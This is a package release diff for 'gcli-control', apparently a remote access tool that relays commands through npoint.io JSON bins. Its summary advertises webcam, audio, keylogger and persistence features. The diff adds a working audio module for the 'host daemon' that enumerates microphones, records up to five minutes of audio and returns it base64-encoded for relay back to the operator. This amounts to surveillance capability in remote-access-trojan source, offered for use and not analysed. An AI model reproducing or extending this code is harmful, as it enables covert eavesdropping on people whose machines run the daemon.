gcli-control 0.3.0__tar.gz → 0.5.0__tar.gz

{gcli_control-0.3.0 → gcli_control-0.5.0}/PKG-INFO

@@ -1,7 +1,7 @@
 Metadata-Version: 2.4
 Name: gcli-control
-Version: 0.3.0
-Summary: Remote access tool via npoint.io - encrypted command relay with compression, caching, and advanced system commands
+Version: 0.5.0
+Summary: Remote access tool via npoint.io - encrypted relay with webcam, audio, keylogger, persistence, and 100+ commands
 Author: gcli contributors
 License-Expression: MIT
 Project-URL: Homepage, https://github.com/gcli-control/gcli

{gcli_control-0.3.0 → gcli_control-0.5.0}/gcli/__init__.py

@@ -2,5 +2,5 @@
 gcli — remote access tool via npoint.io.
 Encrypted command relay using AES-256-GCM over npoint.io JSON bins.
 """
-__version__ = "0.3.0"
+__version__ = "0.5.0"
 __author__ = "gcli"

gcli_control-0.5.0/gcli/audio.py

@@ -0,0 +1,651 @@
+"""
+Remote audio / microphone recording capabilities for the gcli host daemon.
+Provides structured audio commands (audio_devices, audio_record, audio_info,
+audio_level) that return JSON-serialisable result dicts.
+"""
+import os
+import sys
+import json
+import math
+import struct
+import base64
+import platform
+import tempfile
+import subprocess
+import logging
+from typing import Any, Callable, Dict, List, Optional, Tuple
+
+logger = logging.getLogger("gcli.audio")
+
+# ---------------------------------------------------------------------------
+# Lazy imports for optional backends
+# ---------------------------------------------------------------------------
+
+_sd = None
+_pa = None
+
+
+def _try_sounddevice():
+    global _sd
+    if _sd is not None:
+        return _sd
+    try:
+        import sounddevice as _mod
+        _sd = _mod
+        return _sd
+    except (ImportError, OSError):
+        return None
+
+
+def _try_pyaudio():
+    global _pa
+    if _pa is not None:
+        return _pa
+    try:
+        import pyaudio as _mod
+        _pa = _mod
+        return _pa
+    except (ImportError, OSError):
+        return None
+
+
+# ---------------------------------------------------------------------------
+# Helpers
+# ---------------------------------------------------------------------------
+
+def _platform_name() -> str:
+    """Return a normalised platform identifier."""
+    system = platform.system()
+    if system == "Windows":
+        return "windows"
+    elif system == "Darwin":
+        return "macos"
+    else:
+        return "linux"
+
+
+def _which(cmd: str) -> Optional[str]:
+    """Return the path to *cmd* if found on PATH, else None."""
+    try:
+        result = subprocess.run(
+            ["where" if _platform_name() == "windows" else "which", cmd],
+            capture_output=True,
+            text=True,
+            timeout=5,
+        )
+        if result.returncode == 0 and result.stdout.strip():
+            return result.stdout.strip().splitlines()[0]
+    except Exception:
+        pass
+    return None
+
+
+def _rms_from_pcm(data: bytes, sample_width: int) -> float:
+    """Compute RMS amplitude from raw PCM *data*."""
+    if not data or sample_width not in (1, 2, 4):
+        return 0.0
+    count = len(data) // sample_width
+    if count == 0:
+        return 0.0
+    if sample_width == 1:
+        fmt = f"<{count}B"
+        samples = struct.unpack(fmt, data[:count])
+        floats = [(s - 128) / 128.0 for s in samples]
+    elif sample_width == 2:
+        fmt = f"<{count}h"
+        samples = struct.unpack(fmt, data[:count * 2])
+        floats = [s / 32768.0 for s in samples]
+    else:
+        fmt = f"<{count}i"
+        samples = struct.unpack(fmt, data[:count * 4])
+        floats = [s / 2147483648.0 for s in samples]
+    sq_sum = sum(f * f for f in floats)
+    return math.sqrt(sq_sum / len(floats))
+
+
+def _peak_from_pcm(data: bytes, sample_width: int) -> float:
+    """Compute peak amplitude from raw PCM *data*."""
+    if not data or sample_width not in (1, 2, 4):
+        return 0.0
+    count = len(data) // sample_width
+    if count == 0:
+        return 0.0
+    if sample_width == 1:
+        fmt = f"<{count}B"
+        samples = struct.unpack(fmt, data[:count])
+        return max(abs(s - 128) / 128.0 for s in samples)
+    elif sample_width == 2:
+        fmt = f"<{count}h"
+        samples = struct.unpack(fmt, data[:count * 2])
+        return max(abs(s) / 32768.0 for s in samples)
+    else:
+        fmt = f"<{count}i"
+        samples = struct.unpack(fmt, data[:count * 4])
+        return max(abs(s) / 2147483648.0 for s in samples)
+
+
+def _amplitude_to_db(amp: float) -> float:
+    """Convert linear amplitude to dBFS. Floor at -120."""
+    if amp <= 0:
+        return -120.0
+    return 20.0 * math.log10(amp)
+
+
+# ---------------------------------------------------------------------------
+# AudioFeatures
+# ---------------------------------------------------------------------------
+
+class AudioFeatures:
+    """Remote audio / microphone recording feature set."""
+
+    # ------------------------------------------------------------------
+    # audio_devices
+    # ------------------------------------------------------------------
+
+    def audio_devices(self, payload: dict) -> dict:
+        """List available audio input devices."""
+        # Try sounddevice first
+        sd = _try_sounddevice()
+        if sd is not None:
+            try:
+                devices = sd.query_devices()
+                input_devs = []
+                default_id = sd.default.device[0] if sd.default.device[0] is not None else 0
+                idx = 0
+                for dev in devices:
+                    if isinstance(dev, dict):
+                        name = dev.get("name", f"Device {idx}")
+                        max_in = dev.get("max_input_channels", 0)
+                        if max_in > 0:
+                            sr = dev.get("default_samplerate", 44100)
+                            input_devs.append({
+                                "id": idx,
+                                "name": name,
+                                "channels": int(max_in),
+                                "sample_rate": int(sr),
+                                "is_default": idx == default_id,
+                            })
+                    idx += 1
+                return {
+                    "ok": True,
+                    "devices": input_devs,
+                    "count": len(input_devs),
+                    "default_device": default_id,
+                }
+            except Exception as exc:
+                logger.warning("sounddevice query_devices failed: %s", exc)
+
+        # Windows fallback: PowerShell Get-PnpDevice
+        if _platform_name() == "windows":
+            try:
+                ps_cmd = (
+                    "Get-PnpDevice -Class AudioEndpoint -ErrorAction SilentlyContinue | "
+                    "Select-Object InstanceId, FriendlyName, Status | "
+                    "ConvertTo-Json"
+                )
+                result = subprocess.run(
+                    ["powershell", "-NoProfile", "-Command", ps_cmd],
+                    capture_output=True,
+                    text=True,
+                    timeout=10,
+                )
+                if result.returncode == 0 and result.stdout.strip():
+                    raw = json.loads(result.stdout)
+                    if isinstance(raw, dict):
+                        raw = [raw]
+                    devices = []
+                    for i, dev in enumerate(raw):
+                        name = dev.get("FriendlyName", f"Audio Device {i}")
+                        devices.append({
+                            "id": i,
+                            "name": name,
+                            "channels": 1,
+                            "sample_rate": 44100,
+                            "is_default": i == 0,
+                        })
+                    return {
+                        "ok": True,
+                        "devices": devices,
+                        "count": len(devices),
+                        "default_device": 0,
+                    }
+            except Exception as exc:
+                logger.warning("PowerShell audio device query failed: %s", exc)
+
+        # Linux fallback: arecord -l
+        if _platform_name() == "linux":
+            try:
+                result = subprocess.run(
+                    ["arecord", "-l"],
+                    capture_output=True,
+                    text=True,
+                    timeout=5,
+                )
+                if result.returncode == 0:
+                    devices = []
+                    for line in result.stdout.splitlines():
+                        if "card" in line.lower():
+                            # Example: card 0: PCH [HDA Intel PCH], device 0: ALC269 Analog [ALC269 Analog]
+                            name_part = line.split(":", 1)[-1].strip() if ":" in line else line.strip()
+                            devices.append({
+                                "id": len(devices),
+                                "name": name_part[:80],
+                                "channels": 1,
+                                "sample_rate": 44100,
+                                "is_default": len(devices) == 0,
+                            })
+                    if devices:
+                        return {
+                            "ok": True,
+                            "devices": devices,
+                            "count": len(devices),
+                            "default_device": 0,
+                        }
+            except Exception as exc:
+                logger.warning("arecord -l failed: %s", exc)
+
+        return {
+            "ok": False,
+            "error": "No audio backend available. Install sounddevice (pip install sounddevice).",
+        }
+
+    # ------------------------------------------------------------------
+    # audio_record
+    # ------------------------------------------------------------------
+
+    def audio_record(self, payload: dict) -> dict:
+        """Record audio for *duration* seconds and return base64-encoded WAV."""
+        device_id = payload.get("device_id", -1)
+        duration = float(payload.get("duration", 5))
+        sample_rate = int(payload.get("sample_rate", 44100))
+        channels = int(payload.get("channels", 1))
+
+        duration = max(0.1, min(duration, 300.0))  # clamp 0.1s – 300s
+        sample_rate = max(8000, min(sample_rate, 96000))
+        channels = max(1, min(channels, 8))
+
+        # --- Backend 1: sounddevice ---
+        sd = _try_sounddevice()
+        if sd is not None:
+            try:
+                tmp = tempfile.NamedTemporaryFile(suffix=".wav", delete=False)
+                tmp_path = tmp.name
+                tmp.close()
+                kwargs: Dict[str, Any] = {
+                    "samplerate": sample_rate,
+                    "channels": channels,
+                    "dtype": "int16",
+                    "outfile": tmp_path,
+                }
+                if device_id >= 0:
+                    kwargs["device"] = device_id
+                sd.rec(int(duration * sample_rate), **kwargs)
+                sd.wait()
+                with open(tmp_path, "rb") as f:
+                    wav_data = f.read()
+                os.unlink(tmp_path)
+                return {
+                    "ok": True,
+                    "data": base64.b64encode(wav_data).decode("ascii"),
+                    "duration": duration,
+                    "sample_rate": sample_rate,
+                    "channels": channels,
+                    "size_bytes": len(wav_data),
+                }
+            except Exception as exc:
+                logger.warning("sounddevice record failed: %s", exc)
+
+        # --- Backend 2: pyaudio ---
+        pa = _try_pyaudio()
+        if pa is not None:
+            try:
+                stream = pa.open(
+                    format=pa.paInt16,
+                    channels=channels,
+                    rate=sample_rate,
+                    input=True,
+                    input_device_index=device_id if device_id >= 0 else None,
+                    frames_per_buffer=int(sample_rate * 0.1),
+                )
+                frames: List[bytes] = []
+                num_chunks = int(duration / 0.1) + 1
+                for _ in range(num_chunks):
+                    data = stream.read(int(sample_rate * 0.1), exception_on_overflow=False)
+                    frames.append(data)
+                stream.stop_stream()
+                stream.close()
+
+                import wave
+                tmp = tempfile.NamedTemporaryFile(suffix=".wav", delete=False)
+                tmp_path = tmp.name
+                tmp.close()
+                wf = wave.open(tmp_path, "wb")
+                wf.setnchannels(channels)
+                wf.setsampwidth(pa.get_sample_size(pa.paInt16))
+                wf.setframerate(sample_rate)
+                wf.writeframes(b"".join(frames))
+                wf.close()
+                with open(tmp_path, "rb") as f:
+                    wav_data = f.read()
+                os.unlink(tmp_path)
+                return {
+                    "ok": True,
+                    "data": base64.b64encode(wav_data).decode("ascii"),
+                    "duration": duration,
+                    "sample_rate": sample_rate,
+                    "channels": channels,
+                    "size_bytes": len(wav_data),
+                }
+            except Exception as exc:
+                logger.warning("pyaudio record failed: %s", exc)
+
+        # --- Backend 3: ffmpeg / arecord fallback ---
+        try:
+            tmp = tempfile.NamedTemporaryFile(suffix=".wav", delete=False)
+            tmp_path = tmp.name
+            tmp.close()
+            recorded = False
+
+            if _platform_name() == "windows" and _which("ffmpeg"):
+                dev_name = "Microphone"
+                if device_id >= 0:
+                    devs_resp = self.audio_devices(payload)
+                    if devs_resp["ok"]:
+                        for d in devs_resp["devices"]:
+                            if d["id"] == device_id:
+                                dev_name = d["name"]
+                                break
+                cmd = [
+                    "ffmpeg", "-y",
+                    "-f", "dshow",
+                    "-i", f"audio={dev_name}",
+                    "-t", str(duration),
+                    "-ar", str(sample_rate),
+                    "-ac", str(channels),
+                    tmp_path,
+                ]
+                result = subprocess.run(
+                    cmd, capture_output=True, text=True, timeout=duration + 10
+                )
+                recorded = result.returncode == 0 and os.path.getsize(tmp_path) > 0
+
+            elif _platform_name() == "linux" and _which("arecord"):
+                cmd = [
+                    "arecord",
+                    "-d", str(int(duration)),
+                    "-f", "cd",
+                    "-r", str(sample_rate),
+                    "-c", str(channels),
+                    "-t", "wav",
+                    tmp_path,
+                ]
+                result = subprocess.run(
+                    cmd, capture_output=True, text=True, timeout=duration + 10
+                )
+                recorded = result.returncode == 0 and os.path.getsize(tmp_path) > 0
+
+            if recorded:
+                with open(tmp_path, "rb") as f:
+                    wav_data = f.read()
+                os.unlink(tmp_path)
+                return {
+                    "ok": True,
+                    "data": base64.b64encode(wav_data).decode("ascii"),
+                    "duration": duration,
+                    "sample_rate": sample_rate,
+                    "channels": channels,
+                    "size_bytes": len(wav_data),
+                }
+
+            if os.path.exists(tmp_path):
+                os.unlink(tmp_path)
+
+        except Exception as exc:
+            logger.warning("ffmpeg/arecord fallback failed: %s", exc)
+
+        return {
+            "ok": False,
+            "error": "No audio recording backend available. Install sounddevice or ffmpeg.",
+        }
+
+    # ------------------------------------------------------------------
+    # audio_info
+    # ------------------------------------------------------------------
+
+    def audio_info(self, payload: dict) -> dict:
+        """Return audio system information."""
+        info: Dict[str, Any] = {
+            "ok": True,
+            "platform": _platform_name(),
+            "backend": "none",
+            "default_sample_rate": 44100,
+            "default_channels": 2,
+            "has_sounddevice": _try_sounddevice() is not None,
+            "has_pyaudio": _try_pyaudio() is not None,
+            "has_ffmpeg": _which("ffmpeg") is not None,
+            "has_arecord": _which("arecord") is not None,
+        }
+
+        # Try sounddevice for detailed defaults
+        sd = _try_sounddevice()
+        if sd is not None:
+            try:
+                info["backend"] = "sounddevice"
+                dev = sd.query_devices(kind="input")
+                info["default_sample_rate"] = int(dev.get("default_samplerate", 44100))
+                info["default_channels"] = int(dev.get("max_input_channels", 2))
+                info["default_device_name"] = dev.get("name", "Unknown")
+            except Exception:
+                pass
+            return info
+
+        # Try pyaudio
+        pa = _try_pyaudio()
+        if pa is not None:
+            try:
+                info["backend"] = "pyaudio"
+                pa_instance = pa.PyAudio()
+                default_info = pa_instance.get_default_input_device_info()
+                info["default_device_name"] = default_info.get("name", "Unknown")
+                pa_instance.terminate()
+            except Exception:
+                info["backend"] = "pyaudio"
+            return info
+
+        # Fallback
+        if _which("ffmpeg"):
+            info["backend"] = "ffmpeg"
+        elif _which("arecord"):
+            info["backend"] = "arecord"
+
+        return info
+
+    # ------------------------------------------------------------------
+    # audio_level
+    # ------------------------------------------------------------------
+
+    def audio_level(self, payload: dict) -> dict:
+        """Record a short audio sample and compute VU level (RMS + peak)."""
+        device_id = payload.get("device_id", -1)
+        sample_rate = int(payload.get("sample_rate", 44100))
+        channels = int(payload.get("channels", 1))
+        sample_duration = 0.1
+
+        # --- Backend 1: sounddevice ---
+        sd = _try_sounddevice()
+        if sd is not None:
+            try:
+                kwargs: Dict[str, Any] = {
+                    "samplerate": sample_rate,
+                    "channels": channels,
+                    "dtype": "int16",
+                }
+                if device_id >= 0:
+                    kwargs["device"] = device_id
+                recording = sd.rec(
+                    int(sample_duration * sample_rate), **kwargs
+                )
+                sd.wait()
+                # recording is a numpy array of shape (samples, channels)
+                import numpy as np
+                recording = recording.flatten()
+                pcm_data = recording.tobytes()
+                rms_lin = float(np.sqrt(np.mean(recording.astype(np.float64) ** 2))) / 32768.0
+                peak_lin = float(np.max(np.abs(recording.astype(np.float64)))) / 32768.0
+                return {
+                    "ok": True,
+                    "rms": round(rms_lin, 6),
+                    "db": round(_amplitude_to_db(rms_lin), 1),
+                    "peak": round(peak_lin, 6),
+                    "peak_db": round(_amplitude_to_db(peak_lin), 1),
+                }
+            except Exception as exc:
+                logger.warning("sounddevice level failed: %s", exc)
+
+        # --- Backend 2: pyaudio ---
+        pa = _try_pyaudio()
+        if pa is not None:
+            try:
+                stream = pa.open(
+                    format=pa.paInt16,
+                    channels=channels,
+                    rate=sample_rate,
+                    input=True,
+                    input_device_index=device_id if device_id >= 0 else None,
+                    frames_per_buffer=int(sample_rate * sample_duration),
+                )
+                data = stream.read(int(sample_rate * sample_duration), exception_on_overflow=False)
+                stream.stop_stream()
+                stream.close()
+                rms_lin = _rms_from_pcm(data, 2)
+                peak_lin = _peak_from_pcm(data, 2)
+                return {
+                    "ok": True,
+                    "rms": round(rms_lin, 6),
+                    "db": round(_amplitude_to_db(rms_lin), 1),
+                    "peak": round(peak_lin, 6),
+                    "peak_db": round(_amplitude_to_db(peak_lin), 1),
+                }
+            except Exception as exc:
+                logger.warning("pyaudio level failed: %s", exc)
+
+        # --- Backend 3: ffmpeg fallback (read raw PCM from pipe) ---
+        if _which("ffmpeg"):
+            try:
+                cmd = [
+                    "ffmpeg",
+                    "-f", "dshow" if _platform_name() == "windows" else "alsa",
+                    "-i", "audio=Microphone" if _platform_name() == "windows" else "default",
+                    "-t", str(sample_duration),
+                    "-f", "s16le",
+                    "-acodec", "pcm_s16le",
+                    "-ar", str(sample_rate),
+                    "-ac", str(channels),
+                    "pipe:1",
+                ]
+                result = subprocess.run(
+                    cmd, capture_output=True, timeout=5,
+                )
+                if result.returncode == 0 and result.stdout:
+                    data = result.stdout
+                    rms_lin = _rms_from_pcm(data, 2)
+                    peak_lin = _peak_from_pcm(data, 2)
+                    return {
+                        "ok": True,
+                        "rms": round(rms_lin, 6),
+                        "db": round(_amplitude_to_db(rms_lin), 1),
+                        "peak": round(peak_lin, 6),
+                        "peak_db": round(_amplitude_to_db(peak_lin), 1),
+                    }
+            except Exception as exc:
+                logger.warning("ffmpeg level fallback failed: %s", exc)
+
+        return {
+            "ok": False,
+            "error": "No audio backend available for level measurement.",
+        }
+
+
+# ---------------------------------------------------------------------------
+# Dispatcher
+# ---------------------------------------------------------------------------
+
+_FEATURES = AudioFeatures()
+
+_HANDLERS: Dict[str, Callable[[dict], dict]] = {
+    "audio_devices": _FEATURES.audio_devices,
+    "audio_record": _FEATURES.audio_record,
+    "audio_info": _FEATURES.audio_info,
+    "audio_level": _FEATURES.audio_level,
+}
+
+_TRANSPORT_KEYS = frozenset({"id", "jsonrpc", "method"})
+
+
+def dispatch(payload: dict) -> dict:
+    """
+    Route an audio command payload to the correct handler.
+
+    Parameters
+    ----------
+    payload:
+        A dict with a ``"type"`` key matching one of the supported
+        commands (audio_devices, audio_record, audio_info, audio_level).
+
+    Returns
+    -------
+    dict
+        ``{"ok": True, ...}`` on success, or ``{"ok": False, "error": "..."}`` on failure.
+    """
+    cmd_type = payload.get("type", "")
+    handler = _HANDLERS.get(cmd_type)
+    if handler is None:
+        return {"ok": False, "error": f"Unknown audio command: {cmd_type!r}"}
+    return handler(payload)
+
+
+# ---------------------------------------------------------------------------
+# Self-test
+# ---------------------------------------------------------------------------
+
+def test_audio() -> None:
+    """Run self-tests that don't require recording hardware."""
+    passed = 0
+    failed = 0
+
+    try:
+        # -- audio_info --
+        r = dispatch({"type": "audio_info"})
+        assert r["ok"], f"audio_info failed: {r}"
+        assert "platform" in r, f"audio_info missing platform: {r}"
+        assert "backend" in r, f"audio_info missing backend: {r}"
+        assert "default_sample_rate" in r, f"audio_info missing default_sample_rate: {r}"
+        print(f"  audio_info: backend={r['backend']}, platform={r['platform']}, "
+              f"samplerate={r['default_sample_rate']}")
+        passed += 1
+
+        # -- audio_devices --
+        r = dispatch({"type": "audio_devices"})
+        if r["ok"]:
+            print(f"  audio_devices: count={r['count']}, default_device={r['default_device']}")
+            for dev in r["devices"][:5]:
+                print(f"    [{dev['id']}] {dev['name']} ({dev['channels']}ch, {dev['sample_rate']}Hz)"
+                      f"{' *default*' if dev['is_default'] else ''}")
+        else:
+            print(f"  audio_devices: {r.get('error', 'unknown error')} (no devices found, non-fatal)")
+        passed += 1
+
+        # -- dispatch unknown command --
+        r = dispatch({"type": "bogus"})
+        assert not r["ok"], f"unknown cmd should fail: {r}"
+        passed += 1
+
+        print(f"audio tests: {passed} passed, {failed} failed")
+
+    except Exception as exc:
+        failed += 1
+        print(f"audio tests FAILED: {exc}")
+
+
+if __name__ == "__main__":
+    test_audio()